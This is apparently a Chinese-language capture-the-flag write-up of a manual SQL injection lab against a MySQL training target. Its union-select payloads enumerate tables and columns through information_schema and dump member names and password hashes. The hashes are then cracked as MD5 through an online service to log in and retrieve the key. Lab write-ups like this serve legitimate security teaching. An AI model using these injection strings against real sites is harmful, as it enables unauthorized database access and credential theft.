一.SQL手工注入漏洞测试(MySQL数据库)
1.启动靶场后。打开停机维护通知![](https://i-blog.csdnimg.cn/direct/6b16e1800b114be08136ebf9a7c81779.png)
2.在地址栏进行SQL注入
I:注入判断:
进行布尔判断,添加语句and 1=1,页面显示正常,添加语句and 1=2,页面显示出错。
证明存在sql注入
II:使用order by判断列数:
添加语句order by 5,页面显示错误,添加语句order by 4,页面显示正常,得判断页面为4列
III:查询页面回显点:
使用联合查询,添加语句union select 1,2,3,4(判断为4列,故到4),并将id数字改为负值,使得显示为查询列数信息,得回显点为2和3
IV:查询信息:
将其中一个回显点改为要查询的数据:首先查询当前数据库,将2替换为database()
语句为union select 1,database(),3,4,得到当前数据库名
查询表名:还是在2的位置替换为group_concat(table_name),因表可能不止一个用group_concat()将数据组合显示,将from等语句放在最后一列后面,也可以都写在2的位置,但需要添加select并且将语句加上括号
语句为union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查询列名,notice为通知,先查前面的表
语句为union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member'
根据列查询信息:group_concat中添加'~',意为用~将数据隔开
语句为union select 1,group_concat('~',id,'~',name,'~',password,status),3,4 from StormGroup_member
3.解密登录:
由题意得密码为MD5加密,在网站http://www.somd5.com解密两个密码得
返回页面登录用mozhe作为用户登录
第一个账户被禁用,第二个登录成功得到key